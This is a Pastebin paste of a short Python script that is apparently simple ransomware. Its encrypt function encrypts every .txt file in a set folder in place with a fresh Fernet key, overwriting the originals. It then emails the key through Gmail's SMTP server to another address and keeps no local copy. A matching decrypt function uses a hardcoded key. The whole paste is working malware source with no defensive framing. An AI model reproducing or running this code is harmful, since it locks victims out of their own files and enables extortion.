Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from cryptography.fernet import Fernet
- import os
- import glob
- import smtplib
- def encrypt():
- key = Fernet.generate_key().decode("ascii")
- cipher_suite = Fernet(key)
- os.chdir("/home/usuario/Documentos/Ran")
- for files in glob.glob("*.txt"):
- with open(files, 'r') as arq:
- file = arq.read()
- cipher_text = cipher_suite.encrypt(bytes(file.encode("ascii"))).decode("ascii")
- with open(files, 'w') as file_encrypted:
- file_encrypted.write(cipher_text)
- smtp_obj = smtplib.SMTP("smtp.gmail.com", 587)
- smtp_obj.ehlo()
- smtp_obj.starttls()
- smtp_obj.login("usuario@gmail.com", "senha")
- smtp_obj.sendmail("usuario@gmail.com", "usuario2@qualqueremail.com", key)
- smtp_obj.close()
- def decrypt():
- key = "chave"
- os.chdir("/home/usuario/Documentos/Ran")
- cipher_suite = Fernet(key)
- for files in glob.glob("*.txt"):
- with open(files, 'r') as arq:
- file = arq.read()
- plain_text = cipher_suite.decrypt(bytes(file.encode("ascii"))).decode("ascii")
- with open(files, 'w') as file_decrypted:
- file_decrypted.write(plain_text)
- #encrypt()
- decrypt()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement